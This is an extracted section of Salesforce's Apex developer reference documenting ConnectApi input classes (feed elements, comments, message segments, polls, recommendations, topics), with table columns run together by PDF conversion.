AvailableDescriptionTypeProperty
31.0The 18-character ID of an announcement.
An announcement displays in a designated location in the
Salesforce UI until 11:59 p.m. on its expiration date, unless it’s
deleted or replaced by another announcement.
Stringannouncement
29.0true if this group allows Chatter customers, false otherwise.
After this property is set to true, it cannot be set to false.
BooleancanHave
ChatterGuests
29.0The “Description” section of the groupStringdescription
28.0The “Information” section of a group. In the Web UI, this section
is above the “Description” section. If the group is private, this
section is visible only to members.
ConnectApi.
Group
Information
Input
information
29.0true if the group is archived, false otherwise. Defaults to
false.
BooleanisArchived
29.0true if automatic archiving is turned off for the group, false
otherwise. Defaults to false.
BooleanisAuto
ArchiveDisabled
29.0The name of the groupStringname
29.0The ID of the group owner. This property is available for PATCH
requests only.
Stringowner
29.0Specifies the group visibility type.ConnectApi.
GroupVisibilityType
visibility
•PrivateAccess—Only members of the group can see
posts to this group.
•PublicAccess—All users within the community can see
posts to this group.
•Unlisted—Reserved for future use.
SEE ALSO:
createGroup(communityId, groupInput)
updateGroup(communityId, groupId, groupInput)
ConnectApi.CommentInput Class
Used to add rich comments, for example, comments that include @mentions or attachments.
1456
ConnectApi Input ClassesReference
Available
Version
DescriptionTypeProperty
28.0–31.0Optional. Specifies an attachment for the comment. Valid
values are:
ConnectApi.FeedItem
AttachmentInput
Class
attachment
•ContentAttachmentInput
•NewFileAttachmentInput
LinkAttachmentInput is not permitted for
comments.
Important: As of version 32.0, use the
capabilities property.
28.0Description of message body. The body can contain up
to 10,000 characters and 25 mentions. Because the
ConnectApi.Message
BodyInput Class
body
character limit can change, clients should make a
describeSObjects() call on the FeedItem or
FeedComment object and look at the length of the
Body or CommentBody field to determine the
maximum number of allowed characters.
To edit this property in a comment, use
updateComment(communityId,
commentId, comment). Editing comments is
supported in version 34.0 and later.
Rich text and inline images are supported in comment
bodies in version 35.0 and later.
32.0Optional. Specifies any capabilities for the comment,
such as a file attachment.
ConnectApi.
CommentCapabilitiesInput
capabilities
SEE ALSO:
Post a Comment with a Mention
Post a Comment with a New File
Post a Comment with an Existing File
Post a Rich-Text Comment with Inline Image
Post a Rich-Text Feed Comment with a Code Block
Edit a Comment
postCommentToFeedElement(communityId, feedElementId, comment, feedElementFileUpload)
ConnectApi.CommentCapabilitiesInput
A container for all capabilities that can be included with a comment.
1457
ConnectApi Input ClassesReference
Available VersionRequired or
Optional
DescriptionTypeProperty
32.0OptionalDescribes content added to this comment.ConnectApi.
ContentCapability
Input
content
SEE ALSO:
ConnectApi.CommentInput Class
ConnectApi.ContentAttachmentInput Class
Important: This class isn’t available in version 32.0 and later. In version 32.0 and later, use ConnectApi.ContentCapabilityInput.
Used to attach existing content to a comment or feed item.
Subclass of ConnectApi.FeedItemAttachmentInput Class
Available VersionDescriptionTypeProperty
28.0–31.0ID of the existing content.StringcontentDocumentId
ConnectApi.ContentCapabilityInput
Attach or update a file on a comment. Use this class to attach a new file or update a file that has already been uploaded to Salesforce.
This class is a subclass of ConnectApi.FeedElementCapabilityInput Class.
To attach or remove files from a feed post (instead of a comment) in version 36.0 and later, use ConnectApi.
FilesCapabilityInput.
Available VersionRequired or
Optional
DescriptionTypeProperty
32.0Required for existing
content
ID of the existing content.Stringcontent
DocumentId
32.0OptionalDescription of the file to be uploaded.Stringdescription
35.0OptionalSharing option of the file. Values are:ConnectApi.
FileSharing
Option
sharingOption
•Allowed—Resharing of the file is
allowed.
•Restricted—Resharing of the file
is restricted.
1458
ConnectApi Input ClassesReference
Available VersionRequired or
Optional
DescriptionTypeProperty
32.0Required for new
content
Title of the file. This value is used as the file
name for new content. For example, if the
title is My Title, and the file is a .txt file, the
file name is My Title.txt.
Stringtitle
SEE ALSO:
ConnectApi.FeedElementCapabilitiesInput
ConnectApi.ContentHubFieldValueInput
The fields of the item type.
Available VersionRequired or
Optional
DescriptionTypeProperty
39.0RequiredName of the item field.Stringname
39.0RequiredValue of the item field.Stringvalue
SEE ALSO:
ConnectApi.ContentHubItemInput
ConnectApi.ContentHubItemInput
The item type ID and fields of the item type.
Available VersionRequired or
Optional
DescriptionTypeProperty
39.0Required to create a
SharePoint file in a
List of fields for the item to be created.List<ConnectApi.
ContentHub
fields
repository because
FieldValue
Input>the file name is
required; otherwise
optional
39.0Required to create a
file in a repository
ID of the item type.StringitemTypeId
ConnectApi.CustomListAudienceCriteriaInput
The criteria for the custom list type of recommendation audience.
Subclass of ConnectApi.AudienceCriteriaInput.
1459
ConnectApi Input ClassesReference
Available VersionRequired or
Optional
DescriptionTypeProperty
36.0Required to update
a recommendation
audience
Don’t use or specify
null to create a
The operation to carry out on the audience
members. Values are:
ConnectApi.
Recommendation
AudienceMember
OperationType
member
OperationType
•Add—Adds specified members to the
audience.
•Remove—Removes specified
members from the audience. recommendation
audience
36.0Required to update
a recommendation
audience
Don’t use or specify
null to create a
A collection of user IDs.
When updating an audience, you can
include up to 100 members. An audience
can have up to 100,000 members, and each
community can have up to 100 audiences.
List<String>members
recommendation
audience
ConnectApi.DatacloudOrderInput Class
Input representation for a Datacloud order to purchase contacts or companies and retrieve purchase information.
Available
Version
Required or
Optional
DescriptionTypeProperty
32.0Required to
purchase
companies
A comma-separated list of
identification numbers for the
companies to be purchased.
You can’t include any contact IDs or
your purchase fails.
StringcompanyIds
32.0Required to
purchase
contacts
A comma-separated list of
identification numbers for the
contacts to be purchased.
You can’t include any company IDs
or your purchase fails.
StringcontactIds
32.0OptionalIndicates the Data.com user type to
be used. There are two user types.
ConnectDatacloudUserTypeEnumuserType
•Monthly (default)
•Listpool
SEE ALSO:
postOrder(orderInput)
1460
ConnectApi Input ClassesReference
ConnectApi.DirectMessageCapabilityInput
Create or update a direct message.
Available VersionRequired or
Optional
DescriptionTypeProperty
39.0RequiredList of user IDs for members to include in
the direct message.
List<String>membersToAdd
39.0OptionalSubject of the direct message.Stringsubject
SEE ALSO:
ConnectApi.FeedElementCapabilitiesInput
ConnectApi.FeedElementCapabilitiesInput
A container for all capabilities that can be included when creating a feed element.
Available VersionRequired or
Optional
DescriptionTypeProperty
33.0OptionalDescribes actions added to this feed
element.
ConnectApi.
AssociatedActions
CapabilityInput
Class
associated
Actions
32.0OptionalDescribes bookmarks added to this feed
element.
ConnectApi.
BookmarksCapability
Input
bookmarks
32.0OptionalDescribes a canvas app added to this feed
element.
ConnectApi.
CanvasCapability
Input
canvas
32.0–35.0OptionalDescribes content added to this feed
element.
ConnectApi.
ContentCapability
Input
content
Important: This class isn’t available
for feed posts in version 36.0 and
later. In version 36.0 and later, use
ConnectApi.FilesCapabilityInput.
39.0OptionalDescribes the direct message.ConnectApi.
DirectMessage
CapabilityInput
directMessage
39.0OptionalDescribes the feed entity shared with the
feed element.
ConnectApi.
FeedEntityShare
CapabilityInput
feedEntityShare
1461
ConnectApi Input ClassesReference
Available VersionRequired or
Optional
DescriptionTypeProperty
36.0OptionalDescribes files attached to this feed element.ConnectApi.
FilesCapabilityInput
files
32.0OptionalDescribes a link added to this feed element.ConnectApi.
LinkCapabilityInput
link
32.0OptionalDescribes a poll added to this feed element.ConnectApi.
PollCapabilityInput
poll
32.0OptionalDescribes a question and answer capability
added to this feed element.
ConnectApi.
QuestionAndAnswers
CapabilityInput
questionAnd
Answers
38.0OptionalDescribes topics assigned to this feed
element.
ConnectApi.
TopicsCapability
Input
topics
SEE ALSO:
ConnectApi.FeedElementInput Class
ConnectApi.FeedElementCapabilityInput Class
A feed element capability.
In API version 30.0 and earlier, most feed items can have comments, likes, topics, and so on. In version 31.0 and later, every feed item
(and feed element) can have a unique set of capabilities. If a capability property exists on a feed element, that capability is available, even
if the capability property doesn’t have a value. For example, if the ChatterLikes capability property exists on a feed element (with
or without a value), the context user can like that feed element. If the capability property doesn’t exist, it isn’t possible to like that feed
element. A capability can also contain associated data. For example, the Moderation capability contains data about moderation
flags.
This class is abstract and has no public constructor. You can make an instance only of a subclass.
This class is a superclass of:
•ConnectApi.AssociatedActionsCapabilityInput
•ConnectApi.BookmarksCapabilityInput
•ConnectApi.CanvasCapabilityInput
•ConnectApi.ContentCapabilityInput
•ConnectApi.DirectMessageCapabilityInput
•ConnectApi.FeedEntityShareCapabilityInput
•ConnectApi.FilesCapabilityInput
•ConnectApi.LinkCapabilityInput
•ConnectApi.MuteCapabilityInput
•ConnectApi.PollCapabilityInput
•ConnectApi.QuestionAndAnswersCapabilityInput
•ConnectApi.StatusCapabilityInput
1462
ConnectApi Input ClassesReference
•ConnectApi.TopicsCapabilityInput
ConnectApi.FeedElementInput Class
Feed elements are the top-level items that a feed contains. Feeds are feed element containers.
This class is abstract and has no public constructor. You can make an instance only of a subclass.
Superclass of ConnectApi.FeedItemInput Class.
Available VersionRequired or
Optional
DescriptionTypeProperty
31.0OptionalThe capabilities that define auxiliary
information on this feed element.
ConnectApi.
FeedElement
CapabilitiesInput
capabilities
31.0RequiredThe type of feed element this input
represents.
ConnectApi.
FeedElementType
feedElementType
31.0RequiredThe ID of the parent this feed element is
being posted to. This value can be the ID of
StringsubjectId
a user, group, or record, or the string me to
indicate the context user.
SEE ALSO:
Post a Feed Element with a Mention
Post a Feed Element with Existing Content
Post a Feed Element with a New File (Binary) Attachment
Define an Action Link and Post with a Feed Element
Define an Action Link in a Template and Post with a Feed Element
Share a Feed Element (in Version 39.0 and Later)
Edit a Feed Element
Edit a Question Title and Post
Post a Rich-Text Feed Element with Inline Image
ConnectApi.FeedEntityShareCapabilityInput
Share a feed entity with a feed element.
This class is a subclass of ConnectApi.FeedElementCapabilityInput Class.
1463
ConnectApi Input ClassesReference
Available VersionRequired or
Optional
DescriptionTypeProperty
39.0RequiredID of the feed entity to share with the feed
element.
StringfeedEntityId
SEE ALSO:
ConnectApi.FeedElementCapabilitiesInput
ConnectApi.FeedItemAttachmentInput Class
Important: This class isn’t available in version 32.0 and later. In version 32.0 and later, use ConnectApi.FeedElementCapabilityInput
Class.
Used to attach a file to a feed item.
This class is abstract and has no public constructor. You can make an instance only of a subclass.
Superclass for:
•ConnectApi.CanvasAttachmentInput Class
•ConnectApi.ContentAttachmentInput Class
•ConnectApi.LinkAttachmentInput Class
•ConnectApi.NewFileAttachmentInput Class
•ConnectApi.PollAttachmentInput Class
ConnectApi.FeedItemInput Class
Used to create rich feed items, for example, feed items that include @mentions or files.
Subclass of ConnectApi.FeedElementInput Class as of version 31.0.
Available
Version
Required or
Optional
DescriptionTypeProperty
28.0–31.0OptionalSpecifies the attachment for the feed item. The feed
item type is inferred based on the provided attachment.
ConnectApi.Feed
ItemAttachment
Input Class
attachment
Important: As of API version 32.0, use the
inherited capabilities property.
28.0Required unless
the feed item
Message body. The body can contain up to 10,000
characters and 25 mentions. Because the character
ConnectApi.
MessageBody
Input Class
body
has a link
capability or a
limit can change, clients should make a
describeSObjects() call on the FeedItem or
content
capability.
FeedComment object and look at the length of the
Body or CommentBody field to determine the
maximum number of allowed characters.
1464
ConnectApi Input ClassesReference
Available
Version
Required or
Optional
DescriptionTypeProperty
If you specify originalFeedElementId to share
a feed item, use the body property to add the first
comment to the feed item.
To edit this property in a feed item, use
updateFeedElement(communityId,
feedElementId, feedElement). Editing
feed posts is supported in version 34.0 and later.
28.0–31.0OptionalSpecifies if the new feed item should be bookmarked
for the user (true) or not (false).
BooleanisBookmarked
ByCurrentUser
Important: As of API version 32.0, use the
capabilities.bookmarks.isBookmarkedByCurrentUser
property.
31.0–38.0OptionalTo share a feed element, specify its 18-character ID.Stringoriginal
FeedElementId Important: As of API version 39.0, use the
capabilities.feedEntity
Share.feedEntityId property.
28.0–31.0OptionalTo share a feed item, specify its 18-character ID.Stringoriginal
FeedItemId Important: In API version 32.0–38.0, use the
originalFeedElementId property. In
API version 39.0 and later, use the
capabilities.feedEntity
Share.feedEntityId property.
28.0OptionalSpecifies the type of users who can see a feed item.ConnectApi.
FeedItem
visibility
•AllUsers—Visibility is not limited to internal
users.
VisibilityType
Enum •InternalUsers—Visibility is limited to
internal users.
Default values:
•For external users, the default value is AllUsers.
External users must use this value to see their posts.
•For internal users, the default value is
InternalUsers. Internal users can accept this
value or use the value AllUsers to allow
external users to see their posts.
If the parent of the feed item is a user, group, or direct
message, the visibility of the feed item must
be AllUsers.
1465
ConnectApi Input ClassesReference
ConnectApi.FileIdInput
Attach a file that has already been uploaded or remove a file from a feed element.
Available VersionRequired or
Optional
DescriptionTypeProperty
36.0RequiredID of a file that has already been uploaded.Stringid
36.0Optional
If not specified,
defaults to Add.
Specifies the operation to carry out on the
file. Values are:
ConnectApi.
OperationType
operationType
•Add—Adds the file to the feed
element.
•Remove—Removes the file from the
feed element.
Remove operations are processed before
Add operations. Adding content that is
already added and removing content that
is already removed result in no operation.
SEE ALSO:
ConnectApi.FilesCapabilityInput
ConnectApi.FilesCapabilityInput
Attach up to 10 files that have already been uploaded or remove one or more files from a feed element.
This class is a subclass of ConnectApi.FeedElementCapabilityInput Class.
Available VersionRequired or
Optional
DescriptionTypeProperty
36.0RequiredList of file IDs and operations to be carried
out on those files.
List<ConnectApi.
FileIdInput>
items
SEE ALSO:
ConnectApi.FeedElementCapabilitiesInput
ConnectApi.GroupInformationInput Class
Available VersionDescriptionTypeProperty
28.0The text in the “Information” section of a group.Stringtext
1466
ConnectApi Input ClassesReference
Available VersionDescriptionTypeProperty
28.0The title of the “Information” section of a group.Stringtitle
SEE ALSO:
ConnectApi.ChatterGroupInput Class
ConnectApi.HashtagSegmentInput Class
Used to include a hashtag in a feed item or comment.
Subclass of ConnectApi.MessageSegmentInput Class
Available VersionDescriptionTypeProperty
28.0Text of the hash tag without the # (hash tag) prefixStringtag
Note: Closing square brackets ( ] ) are not supported in hash
tag text. If the text contains a closing square bracket ( ] ), the
hash tag ends at the bracket.
SEE ALSO:
ConnectApi.MessageBodyInput Class
ConnectApi.InlineImageSegmentInput
An inline image segment.
Subclass of ConnectApi.MessageSegmentInput Class
Available VersionRequired or
Optional
DescriptionTypeProperty
35.0Optional
If not specified, the
title of the inline
Alt text for the inline image.StringaltText
image file is used as
the alt text.
35.0RequiredID of the inline image file.StringfileId
SEE ALSO:
Post a Rich-Text Feed Element with Inline Image
ConnectApi.MessageBodyInput Class
1467
ConnectApi Input ClassesReference
ConnectApi.InviteInput
An invitation.
Available VersionRequired or
Optional
DescriptionTypeProperty
39.0RequiredList of email addresses to send the invitation
to.
List<String>invitees
39.0OptionalMessage to include in the invitation.Stringmessage
ConnectApi.LinkAttachmentInput Class
Important: This class isn’t available in version 32.0 and later. In version 32.0 and later, use ConnectApi.LinkCapabilityInput.
Used as part of a feed item attachment, to add links.
Subclass of ConnectApi.FeedItemAttachmentInput Class
Available VersionDescriptionTypeProperty
28.0–31.0URL to be used for the linkStringurl
28.0–31.0Title of the linkStringurlName
ConnectApi.LinkCapabilityInput
Create or update a link on a feed element.
This class is a subclass of ConnectApi.FeedElementCapabilityInput Class.
Available VersionRequired or
Optional
DescriptionTypeProperty
32.0RequiredLink URL. The URL can be to an external site.Stringurl
32.0OptionalDescription of the link.StringurlName
SEE ALSO:
ConnectApi.FeedElementCapabilitiesInput
ConnectApi.LinkSegmentInput Class
Used to include a link segment in a feed item or comment.
Subclass of ConnectApi.MessageSegmentInput Class
1468
ConnectApi Input ClassesReference
Available VersionDescriptionTypeProperty
28.0URL to be used for the linkStringurl
SEE ALSO:
ConnectApi.MessageBodyInput Class
ConnectApi.ManagedTopicPositionCollectionInput Class
A collection of relative positions of managed topics.
Available VersionRequired or
Optional
DescriptionTypeProperty
32.0RequiredList of relative positions of managed topics.
This list can include Featured and
List<ConnectApi.
ManagedTopic
PositionInput>
managedTopic
Positions
Navigational managed topics and
doesn’t need to include all managed topics.
For more information about reordering
managed topics, see the example in
reorderManagedTopics(communityId,
managedTopicPositionCollection).
ConnectApi.ManagedTopicPositionInput Class
Relative position of a managed topic.
Available VersionRequired or
Optional
DescriptionTypeProperty
32.0RequiredID of existing managed topic.StringmanagedTopicId
32.0RequiredRelative position of the managed topic,
indicated by zero-indexed, ascending whole
numbers.
Integerposition
SEE ALSO:
ConnectApi.ManagedTopicPositionCollectionInput Class
ConnectApi.MarkupBeginSegmentInput
The beginning tag for rich text markup.
Subclass of ConnectApi.MessageSegmentInput Class
1469
ConnectApi Input ClassesReference
Available VersionRequired or
Optional
DescriptionTypeProperty
35.0RequiredSpecifies the type of rich text markup.ConnectApi.
MarkupType
markupType
•Bold—Bold tag.
•Code—Code tag.
•Italic—Italic tag.
•ListItem—List item tag.
•OrderedList—Ordered list tag.
•Paragraph—Paragraph tag.
•Strikethrough—Strikethrough
tag.
•Underline—Underline tag.
•UnorderedList—Unordered list
tag.
Markup segments with a markupType
of Code can include only text segments.
SEE ALSO:
Post a Rich-Text Feed Element with Inline Image
ConnectApi.MessageBodyInput Class
ConnectApi.MarkupEndSegmentInput
The end tag for rich text markup.
Subclass of ConnectApi.MessageSegmentInput Class
1470
ConnectApi Input ClassesReference
Available VersionRequired or
Optional
DescriptionTypeProperty
35.0RequiredSpecifies the type of rich text markup.ConnectApi.
MarkupType
markupType
•Bold—Bold tag.
•Code—Code tag.
•Italic—Italic tag.
•ListItem—List item tag.
•OrderedList—Ordered list tag.
•Paragraph—Paragraph tag.
•Strikethrough—Strikethrough
tag.
•Underline—Underline tag.
•UnorderedList—Unordered list
tag.
SEE ALSO:
Post a Rich-Text Feed Element with Inline Image
ConnectApi.MessageBodyInput Class
ConnectApi.MentionSegmentInput Class
Include an @mention of a user or group in a feed post or comment. When creating a feed post or comment, you can include up to 25
mentions.
Subclass of ConnectApi.MessageSegmentInput Class
Available VersionDescriptionTypeProperty
28.0
Groups are available in 29.0.
ID of the user or group to mention.
To mention a user, use either id or username. You can’t include
both.
Stringid
To mention a group, you must use id.
38.0User name of the user to mention.
To mention a user, use either id or username. You can’t include
both.
Stringusername
SEE ALSO:
ConnectApi.MessageBodyInput Class
ConnectApi.MessageBodyInput Class
Used to add rich messages to feed items and comments.
1471
ConnectApi Input ClassesReference
Available VersionDescriptionTypeProperty
28.0List of message segments contained in the bodyList<ConnectApi.
MessageSegment
Input Class>
messageSegments
SEE ALSO:
ConnectApi.FeedItemInput Class
ConnectApi.CommentInput Class
ConnectApi.AnnouncementInput Class
ConnectApi.MessageSegmentInput Class
Used to add rich message segments to feed items and comments.
This class is abstract and has no public constructor. You can make an instance only of a subclass.
Superclass for:
•ConnectApi.HashtagSegmentInput Class
•ConnectApi.InlineImageSegmentInput
•ConnectApi.LinkSegmentInput Class
•ConnectApi.MarkupBeginSegmentInput
•ConnectApi.MarkupEndSegmentInput
•ConnectApi.MentionSegmentInput Class
•ConnectApi.TextSegmentInput Class
Use the ConnectApiHelper repository on GitHub to simplify many of the tasks accomplished with ConnectApi.MessageSegmentInput,
such as posting with inline images, rich text, and mentions.
SEE ALSO:
Edit a Comment
Edit a Feed Element
Edit a Question Title and Post
Post a Rich-Text Feed Element with Inline Image
ConnectApi.MessageBodyInput Class
ConnectApi.MuteCapabilityInput
Mute or unmute a feed element.
This class is a subclass of ConnectApi.FeedElementCapabilityInput Class.
1472
ConnectApi Input ClassesReference
Available VersionRequired or
Optional
DescriptionTypeProperty
35.0RequiredIndicates whether the feed element is
muted for the context user. Default value is
false.
BooleanisMutedByMe
SEE ALSO:
setIsMutedByMe(communityId, feedElementId, isMutedByMe)
ConnectApi.NewFileAttachmentInput Class
Important: This class isn’t available in version 32.0 and later. In version 32.0 and later, use ConnectApi.ContentCapabilityInput.
Describes a new file to be attached to a feed item. The actual binary file, that is the attachment, is provided as part of the BinaryInput in
the method that takes this attachment input, such as postFeedItem or postComment.
Subclass of ConnectApi.FeedItemAttachmentInput Class
Available VersionDescriptionTypeProperty
28.0–31.0Description of the file to be uploaded.Stringdescription
28.0–31.0The title of the file. This value is required and is also used as the file
name. For example, if the title is My Title, and the file is a .txt file, the
file name is My Title.txt.
Stringtitle
ConnectApi.NewUserAudienceCriteriaInput
The criteria for the new members type of recommendation audience.
Subclass of ConnectApi.AudienceCriteriaInput.
Available VersionRequired or
Optional
DescriptionTypeProperty
36.0RequiredThe maximum number of days since a user
became a community member. For
Doublevalue
example, if you specify 30, anyone who
became a community member in the last
30 days is included in the new members
audience.
ConnectApi.PhotoInput Class
Use to specify how crop a photo. Use to specify an existing file (a file that has already been uploaded).
1473
ConnectApi Input ClassesReference
Available versionDescriptionTypeProperty
29.0The length, in pixels, of any edge of the crop square.IntegercropSize
29.0The position X, in pixels, from the left edge of the image to the start of
the crop square. Top left is position (0,0).
IntegercropX
29.0The position Y, in pixels, from the top edge of the image to the start of
the crop square. Top left is position (0,0).
IntegercropY
25.018 character ID of an existing file. The key prefix must be 069 and the file
size must be less than 2 GB.
StringfileId
Note: Images uploaded on the Group page and on the User page
don’t have file IDs and therefore can’t be used.
25.0Version number of the existing content. If not provided, the latest version
is used.
IntegerversionNumber
SEE ALSO:
setPhotoWithAttributes(communityId, groupId, photo)
setPhotoWithAttributes(communityId, groupId, photo, fileUpload)
updateRecommendationDefinitionPhotoWithAttributes(communityId, recommendationDefinitionId, photo)
updateRecommendationDefinitionPhotoWithAttributes(communityId, recommendationDefinitionId, photo, fileUpload)
setPhotoWithAttributes(communityId, userId, photo)
setPhotoWithAttributes(communityId, userId, photo, fileUpload)
ConnectApi.PollAttachmentInput Class
Important: This class isn’t available in version 32.0 and later. In version 32.0 and later, use ConnectApi.PollCapabilityInput.
Used to attach a poll to a feed item.
Subclass of ConnectApi.FeedItemAttachmentInput Class
Available VersionDescriptionTypeProperty
28.0–31.0The text labels for the poll items. Polls must contain between 2 to 10 poll
choices.
List<String>pollChoices
ConnectApi.PollCapabilityInput
Create, update, or vote on a poll on a feed element.
This class is a subclass of ConnectApi.FeedElementCapabilityInput Class.
1474
ConnectApi Input ClassesReference
Available VersionRequired or
Optional
DescriptionTypeProperty
32.0Required for creating
a poll
The choices used to create a new poll. You
must specify 2–10 poll choices for each poll.
List<String>choices
32.0Required for voting
on a poll
ID of an existing choice on the feed poll.
Used to vote on an existing poll.
StringmyChoiceId
SEE ALSO:
ConnectApi.FeedElementCapabilitiesInput
ConnectApi.QuestionAndAnswersCapabilityInput
Create or edit a question feed element or set the best answer of the existing question feed element.
This class is a subclass of ConnectApi.FeedElementCapabilityInput Class.
Available VersionRequired or
Optional
DescriptionTypeProperty
32.0Required to update
a feed element.
Not supported when
posting a feed
element.
A comment ID to use as a best answer for a
question feed element. The best answer
comment must already exist on the
question feed element.
StringbestAnswerId
32.0Required to post a
feed element.
Not supported when
updating a feed
element.
Title for a question feed element.
To edit the title of a question, use
updateFeedElement(communityId,
feedElementId, feedElement).
Editing question titles is supported in
version 34.0 and later.
StringquestionTitle
SEE ALSO:
Edit a Question Title and Post
ConnectApi.FeedElementCapabilitiesInput
ConnectApi.RecommendationAudienceInput
A recommendation audience.
1475
ConnectApi Input ClassesReference
Available VersionRequired or
Optional
DescriptionTypeProperty
36.0Optional
If not specified when
creating a
The criteria for the recommendation
audience type.
ConnectApi.
AudienceCriteria
Input
criteria
recommendation
audience, the
audience criteria
type defaults to
custom list.
35.0 onlyRequired to update
a recommendation
audience
Don’t use or specify
null to create a
ConnectApi.
Recommendation
AudienceMember
OperationType
memberOperation
Type Important: This property is
available only in version 35.0. In
version 36.0 and later, use
ConnectApi.
CustomListAudienceCriteriaInput.recommendation
audience
The operation to carry out on the audience
members.
•Add—Adds specified members to the
audience.
•Remove—Removes specified
members from the audience.
35.0 onlyRequired to update
a recommendation
audience
Don’t use or specify
null to create a
List<String>members Important: This property is
available only in version 35.0. In
version 36.0 and later, use
ConnectApi.
CustomListAudienceCriteriaInput.recommendation
audience
A collection of user IDs.
When updating an audience, you can
include up to 100 members. An audience
can have up to 100,000 members, and each
community can have up to 100 audiences.
35.0Optional to update a
recommendation
audience
Required to create a
recommendation
audience
The unique name of the recommendation
audience.
Stringname
SEE ALSO:
createRecommendationAudience(communityId, recommendationAudience)
1476
ConnectApi Input ClassesReference
ConnectApi.RecommendationDefinitionInput
A recommendation definition.
Available VersionRequired or
Optional
DescriptionTypeProperty
35.0Required to create a
recommendation
definition
Optional to update a
recommendation
definition
The URL for acting on the recommendation,
for example, the URL to join a group.
StringactionUrl
35.0Required to create a
recommendation
definition
Optional to update a
recommendation
definition
The text label for the action URL in the user
interface, for example, “Launch.”
StringactionUrlName
35.0Required to create a
recommendation
definition
Optional to update a
recommendation
definition
The explanation, or body, of the
recommendation.
Stringexplanation
35.0Required to create a
recommendation
definition
Optional to update a
recommendation
definition
The name of the recommendation
definition. The name is displayed in Setup.
Stringname
35.0OptionalThe title of the recommendation definition.Stringtitle
SEE ALSO:
createRecommendationDefinition(communityId, recommendationDefinition)
ConnectApi.RequestHeaderInput Class
An HTTP request header name and value pair.
Available VersionRequired or
Optional
DescriptionTypeProperty
33.0RequiredThe name of the request header.Stringname
1477
ConnectApi Input ClassesReference
Available VersionRequired or
Optional
DescriptionTypeProperty
33.0RequiredThe value of the request header.Stringvalue
SEE ALSO:
Define an Action Link and Post with a Feed Element
ConnectApi.ScheduledRecommendationInput
A scheduled recommendation.
Available VersionRequired or
Optional
DescriptionTypeProperty
36.0Optional for creating
a scheduled
recommendation
If not specified,
defaults to
DefaultChannel.
Specifies a way to tie recommendations
together, for example, to display
recommendations in specific places in the
UI or to show recommendations based on
time of day or geographic locations. Values
are:
ConnectApi.
Recommendation
Channel
channel
•CustomChannel1—Custom
recommendation channel. Not used by Don’t use when
updating a
default. Work with your community scheduled
recommendation
manager to define custom channels.
For example, community managers can
use Community Builder to determine
where recommendations appear.
•CustomChannel2—Custom
recommendation channel. Not used by
default. Work with your community
manager to define custom channels.
•CustomChannel3—Custom
recommendation channel. Not used by
default. Work with your community
manager to define custom channels.
•CustomChannel4—Custom
recommendation channel. Not used by
default. Work with your community
manager to define custom channels.
•CustomChannel5—Custom
recommendation channel. Not used by
default. Work with your community
manager to define custom channels.
•DefaultChannel—Default
recommendation channel.
Recommendations appear by default
1478
ConnectApi Input ClassesReference
Available VersionRequired or
Optional
DescriptionTypeProperty
on the Customer Service (Napili)
community home and question detail
pages and in the feed in communities
in the Salesforce1 mobile browser app.
They also appear anywhere community
managers add recommendations using
Community Builder in communities
using the Summer ’15 or later version
of the Customer Service (Napili)
template.
Use these channel values; you can’t rename
or create other channels.
35.0OptionalIndicates whether scheduling is enabled. If
true, the recommendation is enabled and
Booleanenabled
appears in communities. If false,
recommendations in feeds in the
Salesforce1 mobile browser app aren’t
removed, but no new recommendations
appear. In communities using the Summer
’15 or later version of the Customer Service
(Napili) template, disabled
recommendations no longer appear.
35.0OptionalRelative rank of the scheduled
recommendation indicated by ascending
whole numbers starting with 1.
Setting the rank is comparable to an
insertion into an ordered list. The scheduled
Integerrank
recommendation is inserted into the
position specified by the rank. The rank
of all the scheduled recommendations after
it is pushed down. See Ranking scheduled
recommendations example.
If the specified rank is larger than the size
of the list, the scheduled recommendation
is put at the end of the list. The rank of
the scheduled recommendation is the size
of the list, instead of the one specified.
If a rank is not specified, the scheduled
recommendation is put at the end of the
list.
35.0OptionalID of the audience for this scheduled
recommendation.When updating a
Stringrecommendation
AudienceId
scheduled recommendation, specify ALL
1479
ConnectApi Input ClassesReference
Available VersionRequired or
Optional
DescriptionTypeProperty
to remove the association between a
recommendation audience and a scheduled
recommendation.
35.0Required to create a
scheduled
recommendation
You can’t specify a
recommendation
ID of the recommendation definition that
this scheduled recommendation schedules.
Stringrecommendation
DefinitionId
DefinitionId
when updating an
existing scheduled
recommendation.
Ranking scheduled recommendations example
If you have these scheduled recommendations:
RankScheduled Recommendations
1ScheduledRecommendationA
2ScheduledRecommendationB
3ScheduledRecommendationC
And you include this information in the Scheduled Recommendation Input:
RankScheduled Recommendation
2ScheduledRecommendationD
The result is:
RankScheduled Recommendation
1ScheduledRecommendationA
2ScheduledRecommendationD
3ScheduledRecommendationB
4ScheduledRecommendationC
SEE ALSO:
createScheduledRecommendation(communityId, scheduledRecommendation)
1480
ConnectApi Input ClassesReference
ConnectApi.StatusCapabilityInput
Change the status of a feed post or comment.
This class is a subclass of ConnectApi.FeedElementCapabilityInput Class.
Available VersionRequired or
Optional
DescriptionTypeProperty
37.0RequiredSpecifies the status of the feed post or
comment. Values are:
ConnectApi.
FeedEntityStatus
feedEntityStatus
•PendingReview—The feed post or
comment isn’t approved yet and
therefore isn’t published or visible.
•Published—The feed post or
comment is approved and visible.
ConnectApi.StreamSubscriptionInput
An entity to subscribe to for a Chatter feed stream.
Available VersionRequired or
Optional
DescriptionTypeProperty
39.0RequiredThe ID of any feed-enabled entity, such as
a group, record, or user, that the context
StringentityId
user can access. When subscribed, the
entity’s feed is included in the feed stream.
SEE ALSO:
ConnectApi.ChatterStreamInput
ConnectApi.TextSegmentInput Class
Used to include a text segment in a feed item or comment.
Subclass of ConnectApi.MessageSegmentInput Class
1481
ConnectApi Input ClassesReference
Available VersionDescriptionTypeProperty
28.0Plain text for this segment. If hashtags or links are detected in text,
they are included in the comment as hashtag and link segments. Mentions
Stringtext
are not detected in text and are not separated out of the text. Mentions
require ConnectApi.MentionSegmentInput Class.
SEE ALSO:
Edit a Comment
Edit a Feed Element
Edit a Question Title and Post
Post a Rich-Text Feed Element with Inline Image
ConnectApi.MessageBodyInput Class
ConnectApi.TopicInput Class
Update a topic’s name or description or merge topics.
Available VersionDescriptionTypeProperty
29.0Description of the topicStringdescription
33.0List of up to five secondary topic IDs to merge with the primary topic
If any of these secondary topics are managed topics, they lose their topic
type, topic images, and children topics. Their feed items are reassigned
to the primary topic.
List<String>idsToMerge
29.0Name of the topic
Use this property to change only the capitalization and spacing of the
topic name.
Stringname
SEE ALSO:
updateTopic(communityId, topicId, topic)
ConnectApi.TopicNamesInput
A list of topic names to replace currently assigned topics. Also a list of suggested topics to assign.
Available VersionRequired or
Optional
DescriptionTypeProperty
